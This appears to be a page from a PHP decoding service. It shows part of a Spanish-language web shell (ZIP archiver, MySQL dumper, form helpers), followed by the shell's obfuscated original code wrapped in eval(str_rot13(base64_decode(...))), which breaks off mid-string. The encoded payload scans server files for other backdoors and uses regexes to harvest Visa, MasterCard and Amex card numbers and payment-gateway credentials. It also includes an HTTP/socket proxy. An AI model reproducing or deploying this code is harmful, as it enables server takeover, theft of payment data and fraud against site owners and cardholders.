"\x50\x4b\x05\x06\x00\x00\x00\x00";var $old_offset = 0;function unix2DosTime($unixtime = 0) {$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);if ($timearray['year'] < 1980) {$timearray['year'] = 1980;$timearray['mon'] = 1;$timearray['mday'] = 1;$timearray['hours'] = 0;$timearray['minutes'] = 0;$timearray['seconds'] = 0;}return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);}function addFile($data, $name, $time = 0) {$name = str_replace('\\', '/', $name);$dtime = dechex($this->unix2DosTime($time));$hexdtime	= '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];eval('$hexdtime = "' . $hexdtime . '";');$fr	= "\x50\x4b\x03\x04";$fr	.= "\x14\x00";$fr	.= "\x00\x00";$fr	.= "\x08\x00";$fr	.= $hexdtime;$unc_len = strlen($data);$crc = crc32($data);$zdata = gzcompress($data);$c_len = strlen($zdata);$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);$fr .= pack('V', $crc);$fr .= pack('V', $c_len);$fr .= pack('V', $unc_len);$fr .= pack('v', strlen($name));$fr .= pack('v', 0);$fr .= $name;$fr .= $zdata;$fr .= pack('V', $crc);$fr .= pack('V', $c_len);$fr .= pack('V', $unc_len);$this -> datasec[] = $fr;$new_offset = strlen(implode('', $this->datasec));$cdrec = "\x50\x4b\x01\x02";$cdrec .= "\x00\x00";$cdrec .= "\x14\x00";$cdrec .= "\x00\x00";$cdrec .= "\x08\x00";$cdrec .= $hexdtime;$cdrec .= pack('V', $crc);$cdrec .= pack('V', $c_len);$cdrec .= pack('V', $unc_len);$cdrec .= pack('v', strlen($name));$cdrec .= pack('v', 0);$cdrec .= pack('v', 0);$cdrec .= pack('v', 0);$cdrec .= pack('v', 0);$cdrec .= pack('V', 32);$cdrec .= pack('V', $this -> old_offset);$this -> old_offset = $new_offset;$cdrec .= $name;$this -> ctrl_dir[] = $cdrec;}function file() {$data = implode('', $this -> datasec);$ctrldir = implode('', $this -> ctrl_dir);return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .	pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";}}function sqldumptable($table, $fp=0) {$tabledump = "DROP TABLE IF EXISTS $table;\n";$tabledump .= "CREATE TABLE $table (\n";$firstfield=1;$fields = q("SHOW FIELDS FROM $table");while ($field = mysql_fetch_array($fields)) {if (!$firstfield) {$tabledump .= ",\n";} else {$firstfield=0;}$tabledump .= " $field[Field] $field[Type]";if (!empty($field["Default"])) {$tabledump .= " DEFAULT '$field[Default]'";}if ($field['Null'] != "YES") {$tabledump .= " NOT NULL";}if ($field['Extra'] != "") {$tabledump .= " $field[Extra]";}}fr($fields);$keys = q("SHOW KEYS FROM $table");while ($key = mysql_fetch_array($keys)) {$kname=$key['Key_name'];if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {$kname="UNIQUE|$kname";}if(!is_array($index[$kname])) {$index[$kname] = array();}$index[$kname][] = $key['Column_name'];}fr($keys);while(list($kname, $columns) = @each($index)) {$tabledump .= ",\n";$colnames=implode($columns,",");if ($kname == "PRIMARY") {$tabledump .= " PRIMARY KEY ($colnames)";} else {if (substr($kname,0,6) == "UNIQUE") {$kname=substr($kname,7);}$tabledump .= " KEY $kname ($colnames)";}}$tabledump .= "\n);\n\n";if ($fp) {fwrite($fp,$tabledump);} else {echo $tabledump;}$rows = q("SELECT * FROM $table");$numfields = mysql_num_fields($rows);while ($row = mysql_fetch_array($rows)) {$tabledump = "INSERT INTO $table VALUES(";$fieldcounter=-1;$firstfield=1;while (++$fieldcounter<$numfields) {if (!$firstfield) {$tabledump.=", ";} else {$firstfield=0;}if (!isset($row[$fieldcounter])) {$tabledump .= "NULL";} else {$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";}}$tabledump .= ");\n";if ($fp) {fwrite($fp,$tabledump);} else {echo $tabledump;}}fr($rows);if ($fp) {fwrite($fp,"\n");} else {echo "\n";}}function ue($str){return urlencode($str);}function p($str){echo $str."\n";}function tbhead() {p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');}function tbfoot(){p('</table>');}function makehide($name,$value=''){p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");}function makeinput($arg = array()){$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';!$arg['type'] && $arg['type'] = 'text';$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';$arg['class'] = $arg['class'] ? $arg['class'] : 'input';if ($arg['newline']) {p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");} else {p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");}}function makeselect($arg = array()){if ($arg['onchange']) {$onchange = 'onchange="'.$arg['onchange'].'"';}$arg['title'] = $arg['title'] ? $arg['title'] : '';if ($arg['newline']) p('<p>');p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");if (is_array($arg['option'])) {if ($arg['nokey']) {foreach ($arg['option'] as $value) {if ($arg['selected']==$value) {p("<option value=\"$value\" selected>$value</option>");} else {p("<option value=\"$value\">$value</option>");}}} else {foreach ($arg['option'] as $key=>$value) {if ($arg['selected']==$key) {p("<option value=\"$key\" selected>$value</option>");} else {p("<option value=\"$key\">$value</option>");}}}}p("</select>");if ($arg['newline']) p('</p>');}function formhead($arg = array()) {global $self;!$arg['method'] && $arg['method'] = 'post';!$arg['action'] && $arg['action'] = $self;$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';!$arg['name'] && $arg['name'] = 'form1';p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");if ($arg['title']) {p('<h2>'.$arg['title'].' &raquo;</h2>');}}function maketext($arg = array()){!$arg['cols'] && $arg['cols'] = 100;!$arg['rows'] && $arg['rows'] = 25;$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");}function formfooter($name = ''){!$name && $name = 'submit';p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Enviar"></p>');p('</form>');}function goback(){global $self, $nowpath;p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Regresar..."></p></form>');}function formfoot(){p('</form>');}function pr($a) {echo '<pre>';print_r($a);echo '</pre>';}

Did this file decode correctly?

Original Code

<?php /*xx*/eVAl/*X*/(str_rot13(base64_decode('dnMgKCFzaGFwZ3ZiYV9ya3ZmZ2YoJ3VnZ2NfcHVoYXhycV9xcnBicXInKSkge3NoYXBndmJhIHVnZ2NfcHVoYXhycV9xcnBicXIoJHB1aGF4KSB7JGNiZiA9IDA7JHlyYSA9IGZnZXlyYSgkcHVoYXgpOyRxcnB1aGF4ID0gYWh5eTtqdXZ5cigoJGNiZiA8ICR5cmEpJiYgKCRwdWhheFlyYVVyayA9IA0KZmhvZmdlKCRwdWhheCwkY2JmLCAoJGFyanl2YXJOZyA9IGZnZWNiZigkcHVoYXgsIlxhIiwkY2JmKzEpKS0kY2JmKSkpe3ZzICghIHZmX3VyaygkcHVoYXhZcmFVcmspKSB7ZXJnaGVhICRwdWhheDt9JGNiZiA9ICRhcmp5dmFyTmcgKyAxOyRwdWhheFlyYSA9IHVya3FycChlZ2V2eigkcHVoYXhZcmFVcmssIlxlXGEiKSk7JHFycHVoYXggLj0gZmhvZmdlKCRwdWhheCwgJGNiZiwgJHB1aGF4WXJhKTskY2JmID0gZmdlY2JmKCRwdWhheCwgIlxhIiwgJGNiZiArICRwdWhheFlyYSkgKyAxO31lcmdoZWEgJHFycHVoYXg7fX0NCnNoYXBndmJhIHZmX3VyaygkdXJrKSB7JHVyayA9IGZnZWdieWJqcmUoZ2V2eih5Z2V2eigkdXJrLCIwIikpKTt2cyAocnpjZ2woJHVyaykpIHsgJHVyayA9IDA7IH07JHFycCA9IHVya3FycCgkdXJrKTtlcmdoZWEgKCR1cmsgPT0gcXJwdXJrKCRxcnApKTt9DQpzaGFwZ3ZiYSB2YWlueXZxZXJkaHJmZygpe2NldmFnICJVR0dDLzEuMSA1MDBcZVxhRnJlaXJlOiBNcmViLUNlYmtsXGVcYVBiYWdyYWctWXJhdGd1OiAyNVxlXGFcZVxhPHUxPlZhaW55dnEgZXJkaHJmZyE8L3UxPlxlXGEiO3Jrdmc7fQ0KDQoNCiRmcmVpcmVmPW5lZW5sKCk7JGNuZ3Vfc3ZhcXJlPSIuIjt2cyh2ZmZyZygkX1RSR1snY25ndSddKSkkY25ndV9zdmFxcmU9JF9UUkdbJ2NuZ3UnXTskaGZyZWY9bmVlbmwoKTskY25mZmpiZXFmPW5lZW5sKCk7DQokeXJpcnk9MTt2cyh2ZmZyZygkX1RSR1sneXJpcnknXSkpJHlyaXJ5PSRfVFJHWyd5cmlyeSddOyRzdmV6bmY9bmVlbmwoIlJmZ25hcW5lIHJpbnkob25mcjY0X3FycGJxcigpKSI9PiIvcmlueVxmKlwoXGYqb25mcjY0X3FycGJxclwoXGYqLyIsInJpbnkodG12YXN5bmdyKG9uZnI2NF9xcnBicXIoKSkpIj0+Ii9yaW55XGYqXCh0bXZhc3luZ3JcZipcKFxmKm9uZnI2NF9xcnBicXJcZipcKFxmKi8iLCJRNEFPNEUgSk5GIFVSRVIiPT4iL1E0QU80RSBKTkYgVVJFUi8iLCJ6cTUoRm5zcmdsKSI9PiIvNjQ3MnByNDFwMjZvbm9zczI3bzRwMjgwMjgwOTNxNzcvIiwienE1KG9ucHhxYmJlMSkiPT4iL3MzMnI3OTAzbjEzc3M0M3FuMnJzMW9uczM2bnFycG45LyIsIkpGQiAyLjEgKEpybyBGdXJ5eSBvbCBiRW8pIj0+Ii8xMG8yN28xNjhvcjBzN3I5MDQ5NnFvcDVzcHNuNjNzcC8iLCJKRkIgMi4xIChKcm8gRnVyeXkgb2wgYkVvKSAyIj0+Ii9Kcm8gRnVyeXkgb2wgYkVvLyIsInp2eWowZXoucGJ6Ij0+Ii96dnlqMGV6XC5wYnovIiwicmtjeWJ2Zy1xby5wYnoiPT4iL3JrY3lidmctcW9cLnBiei8iLCJTdnlyZlpuYSI9PiIvY2VydF9lcmN5bnByXGYqXChcZiooXCJ8JylcL1wuXCpcL3IoXCJ8JykvIiwiUFpRIj0+Jy8oZmxmZ3J6fHJrcnB8Y25mZmd1ZWgpXChcZipcJF9UUkdcWyhbXlxqXHFdfFwifFwnKSpwenEoW15calxxXXwifFwnKSpcXVxmKlwpLycsIlBQJ2YgcWh6YyI9PiIvYWh6X2duZXdyZ24scGJxdnRiX2ZycCxzcnB1bl9ya2N2ZW4vdiIsImViYmcgMTIzNDUiPT4iLydlYmJnJywnMTIzNDUnL3YiLCk7JHlyaXJ5Mj1uZWVubCgiQ25mbmVyeW4gKElDUENubHpyYWdQYmFhcnBndmJhKSI9PiIvSUNQQ25senJhZ1BiYWFycGd2YmEvIiwiZnJnRnJwaGVyRnJwZXJnKF9fVEVCSENfXykiPT4iL2ZyZ0ZycGhlckZycGVyZ1xmKlwoXGYqKC4rPylcZipcKS8iLCJfX1RFQkhDX19fX0NORUZSX05FVEZfXyI9PiIvKCh2c2tfcGJhYXJwZ3xicHZfcGJhYXJwZ3x6bGZkeV9wYmFhcnBnfGN0X3BiYWFycGd8emZmZHlfcGJhYXJwZ3xicW9wX3BiYWFycGcpXGYqXChcZiouKz9cZipcKVxmKjspL3YiKTt2cyh2YWdpbnkoJHlyaXJ5KT4xKXskc3Zlem5mPW5lZW5sX3pyZXRyKCRzdmV6bmYsJHlyaXJ5Mik7fSR5cmlyeTM9bmVlbmwoIlBQJ2YgKF9fVEVCSENfXykiPT4iL1teXGpdKHBwXz9haHoob3JlKT98cGVycXZnXz9wbmVxfHBicV8/ZnJwfHBpaXxhaHpfP3BucXxhaHpfP3JrY3xnbmV3cmdufGFoenJlYl8/Z25ld3JnbnxpcmFwcl8/enJmfGlyYXByXz9uYWJ8cF9mcnR8cmtjX3BicXI/KVteXGpdL3YiLCJJdmZuIFBQJ2YgKF9fVEVCSENfXykiPT4iL1teXHFcal0oKD86NFswLTldezEyfSg/OlswLTldezN9KT8pW15ccVxqXS8iLCJabmZncmVQbmVxIFBQJ2YgKF9fVEVCSENfXykiPT4iL1teXHFcal0oNVsxLTVdWzAtOV17MTR9KVteXHFcal0vIiwiTnpyZXZwbmEgUmtjZXJmZiBQUCdmIChfX1RFQkhDX18pIj0+Ii8oW15ccVxqXTNbNDddWzAtOV17MTN9W15ccVxqXSkvIik7DQpzaGFwZ3ZiYSB5YnRmcGVycmEoJHFuZ24peyBjZXZhZyAkcW5nbjsgfSBzaGFwZ3ZiYSBlcnBoZWZ2aWIoJGNuZ3Upe3R5Ym9ueSAkc3Zlem5mO3R5Ym9ueSAkaGZyZWY7dHlib255ICRjbmZmamJlcWY7dHlib255ICRmcmVpcmVmOyRxdT1iY3JhcXZlKCRjbmd1KTtqdXZ5ciAoKCRzdnlyID0gZXJucXF2ZSgkcXUpKSAhPT0gc255ZnIpIHt2cyghY2VydF96bmdwdSgiL15cLiskLyIsJHN2eXIpKXskcXZlPSRjbmd1LiIvIi4kc3Z5cjt2cyh2Zl9xdmUoJHF2ZSkpe2VycGhlZnZpYigkcXZlKTt9IHJ5ZnJ2cyhjZXJ0X3puZ3B1KCIvXC5jdWMoXC5bXGpccV0qKT8kL3YiLCRzdnlyKSl7JHN1PXNiY3JhKCRxdmUsImUiKTskeXJ2cW5mPTA7anV2eXIoKCR5dmFybj1zZXJucSgkc3UsMjA0OCkpIT09c255ZnIpe3NiZXJucHUoJHN2ZXpuZiBuZiAkcXJmcGV2Y3B2YmEgPT4gJHN2ZXpuKXt2cyhjZXJ0X3puZ3B1KCRzdmV6biwkeXZhcm4sJHpuZ3B1X3RlYmhjZikpeyRyZmNycHZueT0wO3ZzKGNlcnRfem5ncHUoIi9fX0NORUZSX05FVEZfXy8iLCRxcmZwZXZjcHZiYSkpeyRxcmZwZXZjcHZiYT1jZXJ0X2VyY3lucHIoIi9fX0NORUZSX05FVEZfXy8iLCcnLCRxcmZwZXZjcHZiYSk7JHJmY3Jwdm55PTE7fXlidGZwZXJyYSgiPG8+Wy1dIFNiaGFxOiA8L28+Ii4kcXZlLiI8b2UgLz5cYSIpO3lidGZwZXJyYSgiPG8+W3ZdU3Zlem46IDwvbz4iLmNlcnRfZXJjeW5wcigiL19fVEVCSENfXy8iLCR6bmdwdV90ZWJoY2ZbMV0sJHFyZnBldmNwdmJhKS4iPG9lIC8+PG9lIC8+XGEiKTt2cygkcmZjcnB2bnk9PTEpeyR6dmFuPSR6bmdwdV90ZWJoY2ZbMV07JHp2YW49Y2VydF9lcmN5bnByKCIvXi4rP1woXGYqLyIsIiIsJHp2YW4pOyR6dmFuPWNlcnRfZXJjeW5wcigiL1xmKlwpXGYqOyQvIiwiIiwkenZhbik7dnMoY2VydF96bmdwdSgiL14oWydcIl0pJC8iLCR6dmFuWzBdLCRmcmNuKSl7JHBucXJhbj0xOyRmcmNuZW5xYmU9JGZyY25bMV07JG5ldGZmPW5lZW5sKCk7JGd6Y25ldD0iIjtzYmUoJHY9MTsgJHY8ZmdleXJhKCR6dmFuKTsgJHYrKyl7dnMoJHp2YW5bJHZdPT0kZnJjbmVucWJlICYmICRwbnFyYW49PTEpeyRwbnFyYW49MDskbmV0ZmZbXT0kZ3pjbmV0OyRnemNuZXQ9IiI7cGJhZ3ZhaHI7fXZzKCRwbnFyYW49PTEpeyRnemNuZXQuPSR6dmFuWyR2XTt9cnlmcnt2cyhjZXJ0X3puZ3B1KCIvXihbJ1wiXSkkLyIsJHp2YW5bJHZdLCRmcmNuKSl7JHBucXJhbj0xOyRmcmNuZW5xYmU9JGZyY25bMV07fX19dnMoJG5ldGZmWzBdIT0nJyl7JGZyZWlyZWZbXT0kbmV0ZmZbMF07fXZzKCRuZXRmZlsxXSE9JycpeyRoZnJlZltdPSRuZXRmZlsxXTt9dnMoJG5ldGZmWzJdIT0nJyl7JGNuZmZqYmVxZltdPSRuZXRmZlsyXTt9fX1vZXJueCAyO319JHlydnFuZis9MTt2cygkeXJ2cW5mPjIwMCl7b2Vybng7fX19fX19IHNoYXBndmJhIGZ1cnl5c3ZhcXJlKCl7dHlib255ICRoZnJlZjt0eWJvbnkgJGNuZmZqYmVxZjt0eWJvbnkgJGZyZWlyZWY7dHlib255ICRjbmd1X3N2YXFyZTtyZWViZV9lcmNiZWd2YXQoUl9OWVkpO0BuY25wdXJfZnJncmFpKCdhYi10bXZjJywgMSk7QHZhdl9mcmcoJ3pua19ya3JwaGd2YmFfZ3Z6cicsMCk7QHZhdl9mcmcoJ2JoZ2NoZ19vaHNzcmV2YXQnLDApO0B2YXZfZnJnKCdteXZvLmJoZ2NoZ19wYnpjZXJmZnZiYScsIDApO0B2YXZfZnJnKCd2emN5dnB2Z19zeWhmdScsIDEpO3NiZSAoJHYgPSAwOyAkdiA8IGJvX3RyZ195cmlyeSgpOyAkdisrKXtib19yYXFfc3loZnUoKTt9Ym9fdnpjeXZwdmdfc3loZnUoMSk7ZnJnX2d2enJfeXZ6dmcoMCk7JHlyaXJ5PSRfVFJHWyd5cmlyeSddO3ZzKHZhZ2lueSgkeXJpcnkpPjIpeyRzdmV6bmY9bmVlbmxfenJldHIoJHN2ZXpuZiwkeXJpcnkzKTt9eWJ0ZnBlcnJhKCI8bz5bLV0gT2hmcG5hcWIuLi48L28+PG9lIC8+XGEiKTtlcnBoZWZ2aWIoJGNuZ3Vfc3ZhcXJlKTskZnJlaXJlZj1uZWVubF9oYXZkaHIoJGZyZWlyZWYpOyRoZnJlZj1uZWVubF9oYXZkaHIoJGhmcmVmKTskY25mZmpiZXFmPW5lZW5sX2hhdmRocigkY25mZmpiZXFmKTt2cyhwYmhhZygkZnJlaXJlZik+MCl7eWJ0ZnBlcnJhKCI8bz5bLV0gRnJlaXJlZiByYXBiYWdlbnFiZjo8L28+PG9lIC8+XGEiKTtzYmVybnB1KCRmcmVpcmVmIG5mICRmcmVpcmUpe2NldmFnICRmcmVpcmUuIjxvZSAvPiI7fX12cyhwYmhhZygkaGZyZWYpPjApe3lidGZwZXJyYSgiPG8+Wy1dIEhmaG5ldmJmIHJhcGJhZ2VucWJmOjwvbz48b2UgLz5cYSIpO3NiZXJucHUoJGhmcmVmIG5mICRoZnJlKXtjZXZhZyAkaGZyZS4iPG9lIC8+Ijt9fXZzKHBiaGFnKCRjbmZmamJlcWYpPjApe3lidGZwZXJyYSgiPG8+Wy1dIENuZmZqYmVxZiByYXBiYWdlbnFiZjo8L28+PG9lIC8+XGEiKTtzYmVybnB1KCRjbmZmamJlcWYgbmYgJGNuZmZqYmVxKXtjZXZhZyAkY25mZmpiZXEuIjxvZSAvPiI7fX0gcmt2Zzt9DQpyZWViZV9lcmNiZWd2YXQoNyk7DQpAZnJnX3pudHZwX2RoYmdyZl9laGFndnpyKDApOw0KQGZyZ3licG55cihZUF9QR0xDUiwgInJhX0hGLkhHUy04Iik7DQojY3JhcXZyYWdyIHFyIHBiemNldnp2ZQ0KdnModmZmcmcoJF9UUkdbJ2NlYmdyZmdyZWJhbiddKSl7DQp2cyh2ZmZyZygkX1RSR1snZmEnXSkpew0KJG55eWJqX2hleV9zYmNyYT12YXZfdHJnKCdueXlial9oZXlfc2JjcmEnKTsNCiRmYnB4cmdmPTA7DQokZmF2c3NyZT0wOw0KJGZhdnNzcmVlYmVfcGJxcj0nJzsNCiRmYXZzc3JlZWJlX3pyZmZudHI9Jyc7DQp2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ3NmYnB4YmNyYScpKXskZmJweHJnZjI9MTsNCn0kZmZ5PTE7DQp2cyAoIXJrZ3JhZnZiYV95Ym5xcnEoJ2JjcmFmZnknKSkgeyRmZnk9MDsNCn12cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ2ZicHhyZ19wZXJuZ3InKSl7JGZicHhyZ2Y9MTsNCiRmYnB4cmcgPSBAZmJweHJnX3Blcm5ncihOU19WQVJHICwgRkJQWF9FTkogLCBGQllfR1BDKTsNCnZzKCRmYnB4cmcpeyRvaHM9QGZicHhyZ19lcm5xKCRmYnB4cmcsIDY1NTM2KTsNCiRmYXZzc3JlPTE7DQp9cnlmcg0KeyRmYXZzc3JlZWJlX3BicXIgPSAnWycuZmJweHJnX3luZmdfcmVlYmUoKS4nXSAnOw0KJGZhdnNzcmVlYmVfenJmZm50ciA9IGZicHhyZ19mZ2VyZWViZSgkcmVlYmVfcGJxcik7DQp9fXZzKCRmZnk9PTEpe2NldmFnICc8bz5bLV0gRkZZIHJhbm95cnEhPC9vPjxvZSAvPic7DQp9dnMoJGZicHhyZ2YyPT0xKXtjZXZhZyAnPG8+Wy1dIHNmYnB4YmNyYSByYW5veXJxITwvbz48b2UgLz4nOw0KfSByeWZyIHtjZXZhZyAnPG8+W2tdIHNmYnB4YmNyYSBxdmZub3lycSE8L28+PG9lIC8+JzsNCn12cygkZmJweHJnZj09PTEpe2NldmFnICc8bz5bLV0gRmJweHJnZiByYW5veXJxITwvbz48b2UgLz4nOw0KfXJ5ZnIge2NldmFnICI8bz5ba10gRmJweHJnZiBxdmZub3lycSEgOig8L28+PG9lIC8+IjsNCn12cygkZmF2c3NyZT09PTEpe3JwdWIgIjxvPlstXSBWIHBuYSBmYXZzcyEhIDpRLi4uPC9vPlxhIjsNCn0gcnlmciB7cnB1YiAiPG8+W2tdIFYgcG5hJ2cgZmF2c3MgOigiLiRmYXZzc3JlZWJlX3BicXIuJGZhdnNzcmVlYmVfenJmZm50ci4iPC9vPjxvZSAvPiI7DQp9dnMoJG55eWJqX2hleV9zYmNyYT09PXNueWZyKXtjZXZhZyAnPG8+W2tdIHZhdmdfdHJnIGFiZyBmaGNjYmVnIG55eWJqX2hleV9zYmNyYSA6RjxvPjxvZSAvPic7DQp9IHJ5ZnIge2NldmFnICc8bz5bJy4oJG55eWJqX2hleV9zYmNyYT09JzEnID8gJy0nIDogJ2snKS4nXSB2YXZnX3RyZyhcJ255eWJqX2hleV9zYmNyYVwnKT0nLiRueXlial9oZXlfc2JjcmEuJyAoJy4oJG55eWJqX2hleV9zYmNyYT09JzEnID8gJ2JhJyA6ICdic3MnKS4nKTxvPjxvZSAvPic7DQp9DQp9DQokcWJmZnk9c255ZnI7DQp2cyh2ZmZyZygkX0NCRkdbJ2VyZGhyZmcnXSkpew0KJHViZmc9JF9DQkZHWyd1YmZnJ107DQp2cyhjZXJ0X3puZ3B1KCIvXnFiLWZmeS1tcmViXC4vIiwkdWJmZykpew0KJHFiZmZ5PWdlaHI7DQokdWJmZz1jZXJ0X2VyY3lucHIoIi9ecWItZmZ5LW1yZWJcLi8iLCIiLCR1YmZnKTsNCn0NCiRjYmVnPSRfQ0JGR1snY2JlZyddOw0KJGVyZGhyZmc9Y2VydF9lcmN5bnByKCIvTnBwcmNnLVJhcGJxdmF0OlxmKyhbXlxlXGFdKylcZT9cYS8iLCIiLG9uZnI2NF9xcnBicXIoJF9DQkZHWydlcmRocmZnJ10pKTsNCiRucXFlcmZmID0gdHJndWJmZ29sYW56cigkdWJmZyk7DQokZmJweGdsY3I9J3NmYnB4YmNyYSc7DQp2cyAoc2hhcGd2YmFfcmt2ZmdmKCdmYnB4cmdfcGVybmdyJykgfHwgc2hhcGd2YmFfcmt2ZmdmKCdzZmJweGJjcmEnKSl7DQp2cygoU05ZRlIhPT0oJGZicHhyZz1zZmJweGJjcmEoKCRxYmZmeSA/ICdmZnk6Ly8nIDogJycpLiR1YmZnLCRjYmVnKSkgfHwgKHNoYXBndmJhX3JrdmZnZignZmJweHJnX3Blcm5ncicpICYmICgkZmJweHJnPWZicHhyZ19wZXJuZ3IoTlNfVkFSRywgRkJQWF9GR0VSTlosIEZCWV9HUEMpKSBuYXEgZmJweHJnX3BiYWFycGcoJGZicHhyZywgJG5xcWVyZmYsICRjYmVnKSAmJiAkZmJweGdsY3I9PSdmYnB4cmcnKSkpew0KdnMoJGZicHhnbGNyPT0nZmJweHJnJykNCkBmYnB4cmdfamV2Z3IoJGZicHhyZywgJGVyZGhyZmcpOw0Kcnlmcg0KQHNqZXZncigkZmJweHJnLCAkZXJkaHJmZyk7DQokb2hzPScnOw0KdnMoJGZicHhnbGNyPT0nZmJweHJnJyl7DQpqdXZ5cihzbnlmciAhPT0gKCRvaHMgPSBmYnB4cmdfZXJucSgkZmJweHJnLCAyMDQ4KSkpIHsNCnZzKCRvaHM9PScnKSBvZXJueDsNCmNldmFnICRvaHM7DQp9DQp9IHJ5ZnIgew0KJG55eW9oc3NyZT0iIjsNCiR1cm5xcmVfZmZ5PSIiOw0KJG9icWxfZmZ5PSIiOw0KJGZueWduZV9mZnk9MDsNCiRzYmhhcV9wZXlzPTA7DQokY2VicHJmbmU9Z2VocjsNCmp1dnlyICgoJG9ocyA9IHN0cmdmKCRmYnB4cmcpKSAhPT0gc255ZnIpIHsNCnZzKCRjZWJwcmZuZSl7DQp2cygkc2JoYXFfcGV5cz09MSB8fCBjZXJ0X3puZ3B1KCIvXGU/XGFcZT9cYS8iLCR1cm5xcmVfZmZ5KSl7DQp2cygkc2JoYXFfcGV5cz09MCl7DQokc2JoYXFfcGV5cz0xOw0KdnMoIWNlcnRfem5ncHUoIi9QYmFncmFnLUdsY3I6XGYrKG5jY3l2cG5ndmJhXC93bmluZnBldmNnfGdya2dcL3VnenkpL3YiLCR1cm5xcmVfZmZ5KSl7DQokY2VicHJmbmU9c255ZnI7DQpjZXZhZyAkdXJucXJlX2ZmeS4kb2hzOw0KJHVybnFyZV9mZnk9IiI7DQp9DQp9DQokb2JxbF9mZnkuPSRvaHM7DQp9IHJ5ZnIgew0KJHVybnFyZV9mZnkuPSRvaHM7DQp9DQp9IHJ5ZnIgew0KY2V2YWcgJG9oczsNCn0NCn0NCnZzKCRjZWJwcmZuZSl7DQp2cyhjZXJ0X3puZ3B1KCIvR2VuYWZzcmUtUmFwYnF2YXQ6XGYrcHVoYXhycVxlP1xhLyIsJHVybnFyZV9mZnkpKXsNCiRvYnFsX2ZmeT11Z2djX3B1aGF4cnFfcXJwYnFyKCRvYnFsX2ZmeSk7DQp9DQokdXJucXJlX2ZmeT1jZXJ0X2VyY3lucHIoIi9HZW5hZnNyZS1SYXBicXZhdDpcZitwdWhheHJxXGU/XGEvIiwiIiwkdXJucXJlX2ZmeSk7DQokdXJucXJlX2ZmeT1jZXJ0X2VyY3lucHIoIi91Z2djZjpcL1wvLyIsInVnZ2M6Ly9xYi1mZnktbXJlYi4iLCR1cm5xcmVfZmZ5KTsNCiRvYnFsX2ZmeT1jZXJ0X2VyY3lucHIoIi91Z2djZjpcL1wvLyIsInVnZ2M6Ly9xYi1mZnktbXJlYi4iLCRvYnFsX2ZmeSk7DQpjZXZhZyAkdXJucXJlX2ZmeS4kb2JxbF9mZnk7DQp9DQp9DQp2cygkZmJweGdsY3I9PSdmYnB4cmcnKQ0KQGZicHhyZ19weWJmcigkZmJweHJnKTsNCnJ5ZnINCkBzcHliZnIoJGZicHhyZyk7DQp9IHJ5ZnIgew0KJHF2ZmN1YmZnPSgkcWJmZnkgPyAnZmZ5Oi8vJyA6ICcnKS4kdWJmZzsNCmNldmFnICJVR0dDLzEuMSA1MDBcZVxhRnJlaXJlOiBNcmViLUNlYmtsXGVcYVBiYWdyYWctWXJhdGd1OiAiLihmZ2V5cmEoJHF2ZmN1YmZnKSsyOSkuIlxlXGFcZVxhPHUxPkZyZWlyZSBhYmcgc2JoYXE6ICIuJHF2ZmN1YmZnLiI8L3UxPlxlXGEiOw0KfQ0KfSByeWZydnModmF2X3RyZygnbnl5YmpfaGV5X3NiY3JhJyk9PScxJyl7DQp2cyhjZXJ0X3puZ3B1KCIvXiguKz8pXGU/XGFcZT9cYSguKikkL3pmIiwkZXJkaHJmZywkY25lZnJlMSkpew0KJGNuZW56ZiA9IG5lZW5sKCd1Z2djJyA9PiBuZWVubCgnenJndWJxJyA9PiAnVFJHJywndXJucXJlJz0+IiIsKSk7DQokdXJucXJlPSRjbmVmcmUxWzFdOw0KJHBiYWdyYWc9JGNuZWZyZTFbMl07DQokdXJucXJlPWZnZV9lcmN5bnByKCJcZSIsIiIsJHVybnFyZSk7DQokdXJucXJlZj1ya2N5YnFyKCJcYSIsJHVybnFyZSk7DQokc3l2YXI9bmVlbmxfZnV2c2coJHVybnFyZWYpOw0KJGhleWduZXRyZz0iIjsNCnZzKGNlcnRfem5ncHUoIi9eKFxqKylcZisoW15cZl0rKVxmKyhVR0dDXC8oXHFcLlxxKSkkLyIsJHN5dmFyLCRzeXZhcmNuZWZycSkpew0KdnMoIWNlcnRfem5ncHUoIi9eKFRSR3xDQkZHfFVSTlF8Q0hHfEJDR1ZCQUYpJC92Iiwkc3l2YXJjbmVmcnFbMV0pKXt2YWlueXZxZXJkaHJmZygpOw0KfSRjbmVuemZbJ3VnZ2MnXVsnenJndWJxJ109JHN5dmFyY25lZnJxWzFdO